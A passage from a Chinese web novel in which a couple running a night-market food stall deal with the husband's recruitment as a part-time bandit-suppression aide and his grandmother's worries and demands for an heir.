祁晟久久没听见她应声,却感觉到她身体略微僵着,没有熟睡后的放松,想也知道她在装睡,不想与他说话。 果然,今日没让她满意,连话都不想与他多说一句。 祁晟顿时没了任何的睡意。 早间起来,陆鸢瞧向祁晟,见到他眼底下的淡淡乌青,愣了愣,问:“怎的,昨晚没睡好?” 祁晟自是不会说,他昨晚想了一宿关于男人尊严的问题,只糊弄的解释:“前些天帮着县丞剿匪,晚间的精神一直紧绷着,所以没睡好。” 陆鸢闻言,一脸的担忧:“那咋办?可别像先前一样,整宿整宿的睡不着。” 祁晟瞧着她脸上的担忧,笑了笑,应:“无事,过两日就好。” 陆鸢道:“不行,等会去医馆给你抓两服宁神的药。” “真不用。”他说。 陆鸢可由不得他,心里已经打定主意了。 “一会去夜市街的时候,顺道去一趟医馆。” 祁晟:“……” 自己扯的谎,还是得自己圆。 用了朝食后,陆鸢和祁晟就准备回去了。 也不知道怎的回事,临出门前,老太太把孙子喊进屋了。 陆鸢则和两个孩子站在院子外。 春花问:“娘,你今天晚上还回来吗?” 陆鸢应:“今晚要出夜市,回来就太晚了,所以明日晌午再回来。” “等下回马车做好了,我就带你们去逛逛这广康城的夜市。” 春花:“娘,夜市好玩吗?” 陆鸢点头:“当然好玩了,有好多好吃的,也会有人在街头表演杂技,或是跳舞。” 这有些进不了瓦舍表演的,都会在街头表演,挣几个赏钱,所以夜市才能这么热闹。 只是冬天了,穿得多,表演的人才少了一些。 两个孩子闻言,眼睛都亮了,眼里都是对陌生夜市的向往和期待。 秋花问:“马车呢?” 春花瞧了眼妹妹,帮忙解说:“妹妹说,马车什么时候能做好?” 陆鸢应道:“大概四天,很快了。” 这时祁晟从屋中出来,陆鸢看去,瞧见他神色颇为无奈,一时间有些好奇老太太到底与他说了什么。 祁晟倒是没把马带走,毕竟那边院子小,东西又多。 出了巷子后,陆鸢与他商量:“夜市哪的院子那么小,也不方便放马车,要不咱们租满三个月就不租了吧?” 先前交租金的时候,也没料想到会这么快就有了交通工具。要是知道,肯定不会再租了。 祁晟道:“也行,有马车了,不用担心东西多,更不用担心路上时间耽搁太久。” “就是过些天,马车车斗做好了,也可以回来了。” 陆鸢道:“那咱们夜市的院子总不能空着吧?” 祁晟道:“我且去与东家仔细说说,就让他少退些租金。若是不成,咱们就帮他另找租户。” 陆鸢想了想,道:“这样的话,也能省好几百文,也行。” 两人一路说着话,祁晟都快忘了去医馆的事,她却记着。 到了医馆,祁晟略感无奈,见抓着药,便与她说:“我出去买些东西,你先帮忙看着,我一会回来寻你。” 陆鸢道:“很快就抓好了,你等等,一会咱们一块去买。” 祁晟顿了一息,才道:“我想快些回去休息,为省些时间,我先去,很快就回来。” 陆鸢不疑有他:“那你去吧,我在医馆等你回来。” 紧接着又问:“那你的银钱够吗?” 财政大权,都管在她手里,他也是偶尔才会拿一点。 祁晟应:“够的。” 他手里还有祖母出门前硬塞给他买书的钱,肯定是够的。 第79章 陆鸢等了一刻, 才把祁晟等回来,只见他手上拿着用草纸包着的东西,薄薄的,像是只有一本书。 她问:“你买什么了?” 祁晟道:“平日无聊, 便买了些书。” 陆鸢问:“书贵吗?” 她时常听视频解说号说这古代的书是奢侈品, 那肯定很贵。 祁晟道:“得看是什么本子, 手抄本也得看字体和书面整洁,最次等, 数十文钱,往上一两银子一本也有。” 陆鸢看向他手上包着的书, 问:“那你买的什么书?” 祁晟应:“买了一千字文和一本地理杂志, 千字文有固定的雕刻印刷版,是以买得便宜, 二十文一本。” 陆鸢道:“你是打算要教春花秋花认字了吗?” 祁晟点头:“教她们是其次。” 陆鸢:“那什么是主次?” 祁晟盯着她瞧了几息, 陆鸢有了答案。 ——主次是她。 祁晟道:“你应该都会读, 但就是这些字总是少些笔画, 或是写错些许笔画, 得多看看,多练练。” 陆鸢:…… 最担心的事情还是发生了。 琢磨了一下, 以免以后买卖越做越大,却因繁体字认不全而吃了大亏, 还是学一学吧。 买了药和书籍, 便回了夜市街。 两人也没急着说退租金的事,毕竟马车还没做好, 这一整个月也没过完,先等马车车斗做好了,再去说也不迟。 可谁承想, 比马车车斗来得更快的,是公署的人。 夜里摆夜市,这才刚开摊不久,就一下子来了六七个高大的男人。 一到摊位上,就和祁晟打招呼:“祁郎君。” 其中一个手臂受伤,吊在脖子上的捕快看向她,问:“这位是你娘子吧?” 陆鸢看向祁晟,眨了眨眼,似在问这些都是什么人。 祁晟道:“是公署的捕快。” 应了她,转而对众人道:“这是内子,几位想吃些什么?” 捕快围坐一张桌子,随之把手上提着的东西放到了桌面上,几坛子酒。 几个捕快转头朝着挂灯笼的粗竹竿望去。在竹竿上挂着一面写着今日在售的吃食,以及价钱。 油条三文,油炸香豆腐七文,豆乳一文。 摊位上摆了三个风炉,两个炉子上边皆是半锅油,而另一个是空锅。 其中一个三十来岁的男人道:“每样都给我们每个人来一份吧。” 陆鸢仔细数了数,有七个人,随即让祁晟去找呼,她来做。 祁晟给他们每人打了一碗还热乎的豆乳,问他们:“千石山的猛虎寨都清理完了?” 手臂受伤的陆捕快应道:“也处理得七七八八了,只留了一些人看守寨子。” 其中一个三十来岁的男人,样貌端正刚毅,是公署的捕头,姓嵇。 嵇捕头看向祁晟,道:“县丞大人让你明日巳时末去一趟公署。” 正在炸油条的陆鸢听到这话,动作顿了顿。 嵇捕头继而道:“此番在猛虎寨子缴获了不少金银和粮食,和护城军平分后。县丞和县尉,还有知县商议过,决定按功分赏赐,就是说拿出五成的金银和粮食分给咱们这些弟兄。” 公署上下不足百人,也就是说去剿匪的,至少都能有几贯钱拿。 祁晟道:“我已经领了赏,能否麻烦嵇捕头与县丞大人回话,我就不去了?” 嵇捕头端起豆乳抿了一口,瞧了一眼他,放下碗后,道:“你功绩最大,在你进山前,县丞大人更是说了,事成后有重赏,如今不仅事成,人员伤亡也少,比起上一回剿匪,伤亡都少了十分之八,你自然还有别的赏。” “再说,你真以为大人就是为了赏才让你过去的?” 大家都心知肚明,县丞大人剿匪的劲头可比历任大人来得凶猛,更是势不可挡。 如此,自然是不可能这么轻易地就放过他,在山林中如在自家的人才。 陆捕快道:“等祁兄弟你入了公署,那自然是不能让你和山贼土匪动真刀真枪,你只需要探路就成,咱们肯定是拼了命地保护你。” 有他在,他们剿匪才能事半功倍,如此才能保下性命的成算才大。 陆鸢也没发表意见,把炸好的油条剪到了两个小篮子里,端到了桌面上,转头又去继续炸豆腐。 对于县丞还会继续找祁晟,她早有预料了。 而且她和祁晟也料到这事还真拒绝不了。 祁晟拒绝,只是做压根不可能的挣扎。 他默了半晌,点头:“我明天会过去。” 嵇捕头道:“你也坐下,与咱们喝几口吧。” 祁晟道:“我还要与内子一同做买卖。” 陆鸢转头与他道:“我忙得过来,你便陪几位官爷喝些吧。” 若是祁晟真拒绝不得公署这门差事,她自是也想他与同僚相处融洽,可别被排挤。 其他人见他家娘子都发话了,就把人给按了下来。 陆鸢多拿了一个碗给他,又问他们:“你们要不要碗。” 陆捕快道:“不用不用了,用喝豆乳的碗就成,祁家娘子,你忙你的,不用管我们。” 陆鸢也就转身给炸豆腐调味。 原本不打算沾酒的祁晟,抵不住七个大人劝酒,也喝了不少,若不是一直说他得给娘子收摊,其他人还得继续灌酒。 油炸豆腐好送酒,他们又陆续点了好几份。 他们做了半个多时辰。 因他们个头大,一瞧就不是好惹的,喝豆乳的人也就少了,基本是来打包油条和豆腐的。 毕竟天冷,这个时间段,油条和豆腐卖出去还没十份。 油炸香豆腐带着少许汁水,只能用油纸来装,外边是用几条细竹条简单编的一个框,油纸就包着框边,只需要托在外边,拿着竹简夹起来吃。 这些小竹筐是祁晟做的,一个时辰就能做好几十个,只不过竹条纤细,只能用一回。 陆鸢道:“几位官爷怎不坐久些。” 其中一个捕快道:“家里婆娘管得严,得赶紧回去。” 其他人准备走了,嵇捕头却还没有走的打算。 陆捕头喊:“头,你不回去吗?” 有人道:“头家里就一个人,什么时候回去都成。” 嵇捕头瞧了一眼他们:“我与祁兄弟有话说,你们回去吧,一会我来结账。” 几杯黄酒下肚,两桌人都已经称兄道弟了。 其他人纷纷谢过,然后离开了摊子。 这人高马大,身上自带气场的人走了,客人也逐渐多了起来。 陆鸢一边忙碌,一边分心听着后边的谈话。 嵇捕头与祁晟道:“我是真的希望你能留在公署干,毕竟这拿刀拿枪的大有人在,可能当前锋,能当山中斥候的人,却少之又少,你的能耐,能让剿匪事半功倍。” “让前去剿匪的人员伤亡减少,且每当一个寨子被剿灭,这广康城辖下的百姓就能多一分保障。” 陆鸢听出来了,约莫县城为了明日让祁晟留下,先差了人过来动之以情,晓之以理。等明日再去的时候,再威逼利诱一下,祁晟很难不答应。 这县丞可不只是个只知剿匪的莽夫,还是个善于攻心计的。 便是祁晟识穿了,但也很难拒绝。 一则是这剿匪真的是对百姓实打实的好事。有他相助,若真的减少人员伤亡,以他的性子,是真的难拒绝。 二则是官对民的施压,压根没法反抗。 祁晟瞧了眼妻子的背影,不语,收回了目光之后,便端起酒碗,闷了一口酒。 嵇捕头拍了拍他的肩头,随即站起身,数了该辅的铜板后,说:“你仔细考虑考虑,我便先回去了。” 陆鸢闻言,转回头,看见桌面的银钱,忙拿起来,喊道:“官爷且等等。” 嵇捕头脚步一停,转头看来,问:“可是钱不够?” 陆鸢走到跟前,把钱递了回去,说:“这一顿我们请了,官爷不用破费。” 嵇捕头为人严肃,道:“咱们公门中人,可有明文禁令,外边所食所用,皆不能贪百姓一分一毫。” 陆鸢愣了一下,嵇捕头道:“再说,是你家里郎君帮了公署的忙,我们又怎么能吃白食,祁娘子你便安心收着吧。” 陆鸢讪讪:“那我就收着了。” 人走了,陆鸢才转身坐到祁晟旁,把百来文放进了腰间的钱袋子里头。 祁晟问她:“你说,我该如何抉择?” 陆鸢抬眸看向他,此时他已经喝得有些许的上头了,脸上染上了绯意,便是双眼也略红,更重要的是薄唇也有些红,且水润润的,简直秀色可餐。 她都被吸引去了几分神志。 祁晟见她不应,有些怔愣,“嗯?”了声。 陆鸢回神,应道:“这不是明摆着的事么,没法拒绝,得去。” 祁晟一叹:“我也清楚得去,只是祖母那边难交代。” “祖母上了年纪,受不得刺激。” 陆鸢也跟着他叹了一口气,说:“可也不能瞒着呀。” “且不说老太太现在都已经在城里了,迟早会听到你的事,就说老太太可精着呢,估计一下子就能把我给看穿了。” 说到这,两个人不约而同地又叹了一口气。 陆鸢想了想,又道:“这夜市的宅子还是不要退了,万一你哪天要用到马,摆了夜市后,我也还有个落脚的地方。” 祁晟不言,却是满脸愁容。 退租还是出摊,都不是什么难事,现在的难事,就是如何安抚他的祖母,说服祖母同意他入公署当职。 这题甚难,他又苦恼地想要喝口酒,却不想被身旁的妻子抢了去。 她直接把最后一口酒给喝了,抹了一把嘴巴,说:“你别喝了,一会还得帮忙收摊呢。” 话到最后,又嘀咕道:“这酒也不怎么烈嘛,感觉也就十数度。” 啤酒都有十几度呢,她喝着觉得味淡,还能连着喝几易拉罐呢。 可为何,她忽然觉得头晕乎乎的? 祁晟以为她也是个酒蒙子,却不想她刚说完话,眼一翻,径直地趴到了桌上。 祁晟:“……” 第80章 陆鸢醉了, 祁晟只得让隔壁摊主帮忙看顾一下摊子,然后把她先送回了家里。 今日准备好的豆乳,还有炸油条用的面,豆腐, 就算卖不完, 也要卖得差不多才能收摊, 可不能亏了。 祁晟把人背回了家中,把她放到榻上, 被子掖好后,见她脸色实在红得厉害, 手背就贴上她的额头。 检查没有发热后, 他才出屋子,烧了热水替换下汤婆子里快凉了水。 汤婆子拿回屋, 塞进了她的被窝之中后, 就回到继续出摊。 但实在是担心醉酒的妻子, 瞧着没剩多少材料, 他也就收摊回去了。 回屋检查了一下陆鸢, 见还在酣睡,这才去厨房, 把剩余的面团蒸上,做明日的朝食。 祁晟蒸着馒头, 才取了衣裳到澡间, 用冷水简单擦洗去身上的酒气,再换上干爽的衣裳。 从澡间出来, 他去厨房去把灶台的火熄了,然后抱着一盆热水,再提着一壶热水就进了屋。 他把水端到床边, 动作轻柔且仔细地给她擦了脸和脖子,还有手和脚。 她都躺了这么久,双足还是冷冰冰的。 祁晟把她抱着的汤婆子拿了出来,虽还有余温,但还是拿到厨房换了新的热水。 等祁晟再回屋,就看见刚还在酣睡的陆鸢已经醒了,裹着被衾坐在床上,正一脸哀怨地看向他。 祁晟晓得是自己把汤婆子拿走,让她给冻醒了。 瞧着她的眼神不甚清明,也不知酒醒了没,担心她发酒疯,忙安抚道:“给汤婆子换了水,你继续睡。” 陆鸢从被衾里边伸出了一只手,祁晟:“别急,我先套上布套,以免烫伤。” 她闻言,把手伸回了被衾中,吸了吸鼻子。 仔细瞧,还能瞧到她鼻头红通通的。 祁晟给汤婆子套上了布套,继而倒了一杯热水,一同递给她:“喝点热水再睡。” 陆鸢只伸出一只手,把汤婆子拿进了被窝,然后微微张开嘴,示意让他喂。 她的举动迟钝且憨憨的,瞧着也有几分可爱。 祁晟无奈笑笑,继而把水杯递到了她的唇边,轻缓地喂她喝了小半杯的水。 收回水杯,他说:“好了,可以继续睡了。” 陆鸢倒是很听话地点头,然后躺了下来。 祁晟把水杯放回桌上,看了眼油灯,想了想,还是没熄。 她瞧着还没彻底醒酒,还是留灯好照顾她。 祁晟躺到床上,身边的人就凑了过来,头靠在他的肩头上。 这微醺的丽娘,性子不仅柔和了许多,就是嘴巴也没有之前那么能说会道了。 祁晟伸手轻拍了拍她,待她熟睡后,还未有睡意的他从床底拖出了一个篓子,把今日买的书拿出,随即翻看了起来。 瞧着瞧着,也不知是什么时辰了,书已看过半。 身边的人忽然翻了身,祁晟蓦然把书阖上,垂到床外。 他转头看了眼枕边人,见没有要醒的迹象,这才暗暗松了一口气。 对于风月之事,祁晟也不是什么都不知道,就是不了解个中细节。 这露骨的风月话本,个中细节详细到了极致。 祁晟这才明白为何被丽娘嫌弃了。 身边的人没醒,祁晟也没有继续看下去,而是把书放回了床底的篓子里。 随之平躺着,睁眼瞧着梁顶。 明明是寒冬,却是浑身燥热。 他昨日便休息不足,为何要挑今日看这些书,分明是自己找罪受。 陆鸢早间起来,觉得头沉沉的,还有些许的痛。 她神志迟缓了许久,才想起昨日自己喝了一口酒后,就没了意识。 这…… 真见邪了,竟然还真有一口倒的人,而且还是她现在的身体。 陆鸢起身下床,正要去洗漱,就见床头杌子上压了一张纸条。 她拿起来仔细瞧了一眼。 祁晟说灶台上煮有醒酒的汤,让她自己热来喝,他去公署了,很快就回来。 陆鸢出了门,瞧了眼天色,又看向地上的倒影后,大概知道是什么时辰。 她估摸着都睡了有六七时辰了。 她可真能睡,祁晟也不怕她不是睡过去了,而是晕过去了。 她出了屋子,到厨房看了眼风炉,里边还有点炭火余温,这醒酒汤也不用再额外加热了。 她打开瞧了眼,是豆腐汤,里边还放了酸豆角和萝卜干,她搅动了一下,发现还放了花椒。 她现在就想喝口重口味的汤,这确实很适合用来醒酒。 陆鸢烧了些热水来洗漱后,就把汤盛到了屋中,慢慢地喝了起来。 半碗热汤入腹,不适的感觉顿时减少了。 下回她肯定是一滴酒都不会再碰了。 喝了汤,没那么难受了,陆鸢也想到了去公署的祁晟。 也不知道是个什么样的情况。 …… 公署内,县丞办公署处,杨县丞让人把东西都抬进了屋中。 是四大麻袋,也不知道装的是什么。 杨县丞道:“晓得你们家也没田地,且做买卖也要用到黄豆,便让知县批了你两袋子稻谷,两袋子黄豆,每袋子都约莫有一石重。” “毕竟你也得了一匹好马,且去剿匪的人多,这分下去后也没多少了,所以给你的赏银也就只有五贯钱。” 这是祁晟应得的,也就没有客气,一拱手:“谢过县丞赏。” 杨县丞道:“这是你应得的,不用谢。” 说着,视线灼灼地盯着他:“我想,你应该明白我叫你来,可不仅仅让你来领赏。” 祁晟也不回避这个问题了,点了头。 杨县丞笑了笑,他就喜欢与聪明人说话,不用多言。 “我底下还缺个幕僚,主要职责是训练捕快们在山林作战的能力,还有剿匪时探路。你若能同意,我每个月给你三贯钱的月钱,平日剿匪有功劳,奖赏另算。” 衙门捕快,一个月的月钱也不过是八百文,而这三贯钱的月钱,确实是高了。 可毕竟自己媳妇也能挣钱,这生意好的话,一个月都能挣两三贯钱,祁晟一点都没动心。 他抬起头,与县丞对视:“大人,在应下这活前,我可否提个要求?” 杨县丞挑眉:“你且说说看?” 祁晟道:“若平日没有活计,我可否归家。”他想了想,想了个适当的词语,说:“便只当这活是个贴职。” 杨县丞闻言,乐笑了:“别人求都求不来的好差事,你竟然只想当个贴职?!” 祁晟道:“我家中的情况,大人是知晓,如若当初我没有成为活死人,我定然会鼎力相助。” “可如今,我也要为家中老人着想。” 杨县丞想用祁晟,自然是把他的底细都调查得一清二楚了。 活死人这个事,也听说过了。 也是,毕竟祁家就一根独苗了,祁家老太太自然是看得比什么都严重。 老太天还在孙子成了活死人后,还找了个寡妇,似乎是想留下一男半女。 杨县丞把双手放到桌上,双掌交叠在一起,姿态从容:“若真想为老人着想,那还不如让老人家早早抱上孙子来得实在。” 祁晟:…… 杨县丞见他被自己说得一瞬无言,笑道:“这不好办,就与你祖母说,是我强制让你到公署帮忙的。” “当然,我也有强制这个意思,你今日若是没答应,我也会想别的办法威逼利诱你答应。” 杨县丞倒是一点也不遮掩自己的心思,就这么直接地说了出来。 阶级差距就摆在这,也没有什么必要遮掩。 祁晟:“祖母那处,我会说,还请大人应允。” 杨县丞要的是他这个人,可不管是贴职还是专职,总归他的人在底下办事,还是任由他来差遣。 想法才落,这年轻人似乎能看穿了他的想法一般,又开口了:“除却剿匪的时期外,双日我得陪媳妇出摊,单日当值,月俸也可减少。” 杨县丞:…… 敢情他这公署的体面活计,还比不过他与媳妇出摊重要,是吧? 沉默了片刻,杨县丞问:“你与你媳妇出一次摊,能挣多少?” 祁晟道:“生意不好,不到百文。生意好,能挣两百文。” 杨县丞闻言,心道难怪听到三贯月钱都没见他有半分动摇,原是他们那小摊子都能这么挣钱。 杨县丞点了头:“也行。” 反正先把人留下,比什么都重要。 “那还请大人拟好契书。”祁晟请求道。 听到这话,杨县丞则真的是再次对他另眼相看了。 这年轻人瞧着是个正经人,可这心眼一点也不少。 杨县丞仔细打量着跟前一表人才的人,好奇的问:“祁晟,你本事也不小,怎的一点都不想往上再走走?” 祁晟摇头:“人各有志,我并没有远大的志向与抱负,我志向在于日子平平淡淡,过得平平安安,家人安康和乐。” 祁家曾经的下场,就注定说明了祁晟这辈子是不可能入仕的,也不可能再踏入皇城。 杨县丞闻言,也没继续劝他。 “也罢,就按着你说的来制定契书。” 祁晟又道:“还请大人加上一条,我只在大人任职期间任职,若大人调任,便放我离去。” 这知县和县丞都是三年一调任。 当然,也有继任的可能。只是知县继任,那么县丞就会调走,反之县丞继任,知县必然不可能继任。 杨县丞拿起笔,抬眼睨了他一眼:“你到底是多怕留在我底下办事?” 说着,也没喊主簿,而是自己铺平了宣纸,然后笔蘸墨,在纸上落笔。 杨县丞写得极快,等写好了一份,递给他瞧。 祁晟双手接过,看到上边龙飞凤舞的狂放字体,有一瞬的哑然,但还是仔细查看了起来。 片刻好,祁晟应:“便按大人所写为契。” 杨县丞听到他的话,便站了起来,从位上下来,给了他一个上去坐下的眼神。 “那你再按着内容抄写两份。” …… 原来县丞也知道自己的字拿不出手。 祁晟都对这武力超群的县丞生出了些好奇。 字难看,又是怎么考中科举的。 仔细想想,只有是从行伍出身,才会让人有种即便他一人,也有千军万马之势的感觉。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 祁晟拿上契书, 就着县丞给他安排的牛车,把粮食运到了夜市街的小院。 牛车过大,进不了院子,只得停在巷口, 靠着人力搬到巷子里, 要么就是从前边铺面抬进来。 铺面东西多, 还得让东家挪动物件,太过麻烦, 也就从巷子抬进来。 祁晟扛着一麻袋粮食到院子外的巷子,放下去后, 复返又去扛了余下的几袋。 陆鸢听到重物落地的声响, 跑到院子外,趴在门缝看了眼, 看到祁晟的身影后, 才拿开门闩, 开了门。 祁晟听到开门声, 转头看向她, 说:“还有一袋粮食,我扛回来再和你解释。” 说着就往巷子外走。 陆鸢瞧着他的背影, 心说不用解释,她也知道哪来的。 过了一会, 祁晟扛着最后一袋麻袋回来, 又复而把粮食搬进院子里头。 等他搬完了,陆鸢端了一杯热水给他, 看着四大麻袋,瞧着都有百来斤了。 她问:“这都是粮食?” 祁晟喝了水,应:“两袋子黄豆, 两袋子稻谷。” 陆鸢讶异道:“这山贼窝子也有黄豆?” 祁晟走到水缸前,用水洗了杯子,说:“只要是粮食,就会抢。” 陆鸢:“这么多的黄豆,还有这粮食,估计两个月都不用买豆子和黄豆了,能省下一大笔支出呢。” 祁晟道:“对了,还有五贯钱。” 祁晟把另一个小袋子提了起来。 陆鸢瞧着钱袋子,琢磨了一会,问:“你说这广康城的钱庄可信吗?” 祁晟问:“你想把钱存进钱庄?” 陆鸢点了点头,祁晟想了想,说:“那等我去公署任职后,我就给你打听打听,看哪家钱庄靠谱。” 这公署的人,消息会比在外打听靠谱得多。 听到这话,陆鸢瞧向他:“真的确定下来了吗?” 祁晟点头:“但只是贴职。” 陆鸢露出疑惑之色:“什么是贴职?” 别说是她,就是本土人丽娘的记忆中,也不了解这什么是贴职。 祁晟想了想,解释:“就是兼任,不是专职。单日去上值,双日不去。” 陆鸢听明白了,简单地来说就是兼职。 “杨县丞答应了?” 祁晟点头:“他应该是想着,把我这个人先留下。” 说着,掏出了签好的契书。 陆鸢接过来,晦涩地从头看到尾,能看得明白。 看完后,她递还给他:“万一到时候杨县丞调任的时候,不遵守约定,还是想法子要把你带走,咋办?” 祁晟把契约叠好:“起码现在这张纸就是一个保证。” “再说,杨县丞瞧着也不全是强横专制的人,他能一次又一次剿匪成功,靠的不仅是我的帮助,更在于底下的人为他的命令而拼命。” “杨县丞只是看着五大三粗,但也是会御下的,肯定不会在我不情愿的情况下,还毁约,不仅我不会再真心听候他差遣,就是底下的手下也不会信服。” 陆鸢听着他的话,赞同地点了点头:“你说得也确实有道理。” “不过,先别说这三年后是不是真能顺利不干了,还是先想想今日回去后,怎么和老太太交代吧。” 今日不出摊,而且老人和小孩都在城里了,车斗还没做好,他们俩暂时不打算摆早市,留一天在家里住。 祁晟耸了耸肩,无奈道:“也只能是如实交代。” 休息了一会,陆鸢拿上方才出去买的菜,与他一同回家。 家人在哪,哪就算家, 现在这个小院都完全不算是家了,只能算是一个栖息地。 回到家里,已是午时末。 老太太见着他们,念叨:“你们怎回来得这么晚?两个孩子不愿吃中食,说什么都要等到你们回来才愿意吃。” 两个孩子现在都扒拉在了陆鸢的腿上。 祁晟把背篓放下,说:“丽娘早间去买了菜,都在篓子里了。” 老太太道:“天冷,放不坏,先吃了中食再弄。” 祁晟点头,瞧了眼桌面的菜。 一盆炒鸡蛋和素炖豆腐,还有一个炒菘菜。 祁晟把这些菜端到厨房里头,重新加热。 吃了中食后,陆鸢领着两个孩子回屋午睡,让祁晟有空闲时间与老太太说话。 祁晟敲了祖母的房门,进了屋子后,老太太瞅向他,问:“咋样了?” 祁晟想都不用想,都知道祖母问的是什么。 他点了头:“书买了。” 老太太道:“既然买了书,就赶紧践行,别光说不练假把式。” 祁晟:…… 祖母自他昏睡不醒后,这说话真的越发地彪悍了。 祁家还未没落前,他的祖母虽说不是高门出身的闺女,可也是富贵人家出来的,后来被流放后,性子才逐渐泼辣。 但祁晟也明白,若是性子不泼辣,那时他年纪又小,祖母一个妇人带着个小孩,又如何能在岭南存活。 “祖母,这件事你不用过多担忧。” 老太太又睨了他一眼:“我能不担忧吗?人家刘家三郎比你就大了两岁,可人家都两个孩子了,你瞧瞧你,媳妇都娶好几个月了……。” 祁晟:…… 一阵无言以对后,祁晟想起了自己的正事,道:“祖母,且先不说这些,我另外有事与你说。” 陆鸢拍着两个孩子的背,忽然听到老太太高喊一声“我不同意”,两个已经闭上眼睛的孩子,听到这声音都睁开了懵懂不解的眼睛。 陆鸢道:“没事没事,你们爹他在和老太太商量事呢。” 这一声之后,倒是安静了,过了一会,陆鸢觉着两个孩子睡着了,她才从屋中出来,去了老太太的屋子。 房门敞开,祖孙俩一坐一站,都没有出声。 陆鸢跨过门槛,瞧了眼为难的祁晟,再看了眼黑着脸,被气得不轻的老太太。 她转头就训祁晟:“你怎么回事,好好地,怎么就惹你祖母生气了?你不知道老太太年纪大了,受不得刺激么?” 老太太白了她一眼:“别以为我不知道,你们夫妻俩,一个唱红脸,一个唱白脸。” 陆鸢谄媚地坐到了老太太的身边,抱住了老太太的手臂:“老太太你别那么气,这也怪不得郎君。郎君也是想要拒绝的,可那杨县丞不讲道理,民哪里有底气与官斗,郎君也实在是没法了。” 老太太哪里不清楚个中原因,可就是气。 气红了眼,瞪向孙子:“你想没想过,你要是出点什么意外,老祁家就真的断后了,这往后列祖列宗还有谁记得,还能有谁去祭拜?” 陆鸢可不敢说还有两个小姑娘,毕竟古代讲究的是无后为大的思想,把香火传承看得比什么都大。 祁晟沉默。 老太太继而道:“我也晓得,这事没有转圜的余地了,既然如此,你们俩就应我,明年让我抱上曾孙。” 时间一瞬间从一年半变成了一年。 没等祁晟说话,陆鸢忙道:“这还有半个多月就要过春节了,在十二个月内让老太太你抱孙子,这时间太赶了。” 老太太看向她:“你可别和老太婆我说你不想再生了?” 陆鸢连忙摆手道:“那倒没有这个想法,只是这太赶了,也不是说想怀就能怀上的。” 要是真不想生,那一开始就说明这个想法,肯定不能成了亲之后才说,多少都有些不道德。 当然,陆鸢也没想过生不生的问题,想的是以现在的家庭条件,还有她的身体条件,都不太允许现在这会要孩子。 老太太冷嗤一声:“你们俩房都没圆,那当然怀不上。” 陆鸢一瞬间哑火。 祁晟道:“祖母,先前不圆房,是因为条件不允许,如今有了条件,自然是会提上日程。” “只是,祖母,我的身体才刚恢复不久,丽娘先前也吃了那么多的苦,现在日子才慢慢好起来,好歹让她养半年,再说要孩子的事。” 老太太眼眶一瞬间湿润:“我是不给吗,可你这干的活,与刀尖上舔血有什么区别?” “要是你们一直都这么平平淡淡地过日子,晚个一年我都不说什么。” 老太太情绪有些激动,陆鸢让祁晟先出去,她留下来。 等屋子里只有她们时,老太太才抹泪道:“方才的话,你别记心里去,祖母晓得你身体还没好完,要孩子的事再等等就是了。” “我就是气呀,气这官家,翻脸无情,让家破人亡的是官家,如今又让人拼命的也是官家,合着说什么就是什么,咱们就是命不值钱的蝼蚁。” 她这心里憋屈呀。 陆鸢心叹,古代皇权太荼毒人了。 她拍了拍老太太的肩头,也不知说些什么来安慰老太太。 老太太什么都知道,什么道理都懂,只是迈不过心里那道槛,更不想让自己的孙子涉险。 陆鸢在屋里待了一刻余,从屋子出来,祁晟还等在房外。 他问:“祖母怎么样了?” 陆鸢把房门阖上,小声道:“说是累了,把我赶出来了。” “不过瞧着,老太太也知道这事没法更变,现在就是特别担心你。” 祁晟看了眼祖母的房门,颇为无奈。 两人回了屋,你看看我,我看看你,好半晌,祁晟才道:“孩子的事。” 陆鸢先打断了他,说:“我的身体是该好好调养,等大夫说可以没有任何危险,能生养后,再说孩子。” “还有,生孩子的前提,咱们家的家底,至少不能少于这个数。” 陆鸢抬起手,左手为掌,右手为拳。 也就是五十两的家底。 祁晟笑了:“虽然应了祖母,还是能拖的,你想何时生育,便何时生育。” 更别说,圆房的八字都没一撇。 陆鸢闻言,顿时朝着他笑了:“别的且不说,但你这话,我爱听。” 第82章 陆鸢和祁晟在家住了一宿, 老太太都不带搭理孙子的。 直到第二日吃了朝食,夫妻二人准备返回夜市后,老太太才看向孙子,又气又无奈, 更有担忧的叮嘱:“你好好的, 别让我和丽娘为你操心太多。” 祁晟与身边的陆鸢相视了一眼, 随而点了点头。 老太太继而叮嘱:“去公署当职后,别太拼命, 干得了就干,干不了就不干, 一切以性命为重, 晓得不?” 祁晟点头答应:“孙儿知道。” 老太太看向陆鸢,道:“丽娘, 你也看着点晟哥儿, 别让他太拼了。” 老太太不放心的一而再叮咛, 话语中都是长辈对孙子的满满担忧。 话到最后, 老太太问:“丽娘, 咱们什么时候挑个时间,去法陀寺拜一拜?” 陆鸢应道:“等咱们的马车弄好了, 咱们就去,也就是这几天的事情了。” 老太太闻言, 便点了点头。 夫妻二人和老太太, 还有孩子们话别后,就回了夜市街。 祁晟和陆鸢与老太太说清楚了去公署兼任的事后, 心头大石都不约而同地落了地。 离家远了,陆鸢才问他:“你什么时候去公署上值?” 祁晟道:“最迟下回单日就得去了。” 陆鸢与他道:“我想过了,虽说你只要单日去当职, 但我想着还是得请个人来帮忙,以防万一你双日不在的时候,也有个打下手的。” 公署的活得打起十二分精神,他也得休息好,才能有这精神。 请一个人,也能减轻他的活。 祁晟点头:“确实该请个人。” 回了夜市街,祁晟去忙活,陆鸢跑去糕点铺子串门,顺道去向糕点铺子的掌柜娘子打听招人的事。 糕点铺子的陈娘子端着一盆刚出炉的米糕,瞧见陆鸢,笑道:“哟,什么风,把丽娘你给吹来了?” 陆鸢笑吟吟的道:“当然是今早刮的东南风。” 陈娘子道:“正好,我这有刚出锅的米糕,你尝尝。” 陆鸢笑道:“那我可要尝尝了。” 陈娘子给她夹了一块米糕,随即道:“这快过年了,你家可要准备些什么零嘴,糕点什么的。都可以在我家定,我给你便宜价格,你要是能给我多介绍些客人,我再给你更便宜的价格。” 陆鸢道:“那成,我家老太太前几日不是进城了么,就两天时间就和左邻右舍混熟了,我回去后,让她给糕点铺子多做宣扬。” “那可就谢谢你家老太太了。”陈娘子笑道。 陆鸢吃了一口米糕,不甜不腻,挺适合给老人小孩吃的。 陆鸢道:“这米糕,等年二十九,给我也定十盒,红枣糕也给我定十盒,等会我回家再拿银钱来付定钱。” 掌柜娘子诧异道:“定这么多,你发达了?” 陆鸢:“这不是年节了,要走访亲朋好友么。” 这祁晟正在这个时候去公署上值,还是要打点打点的,先定这么多,到时候不够再买。 说了糕点的事,陆鸢又问道:“陈娘子,你可认识勤劳的姑娘或者脾气好的大娘。” 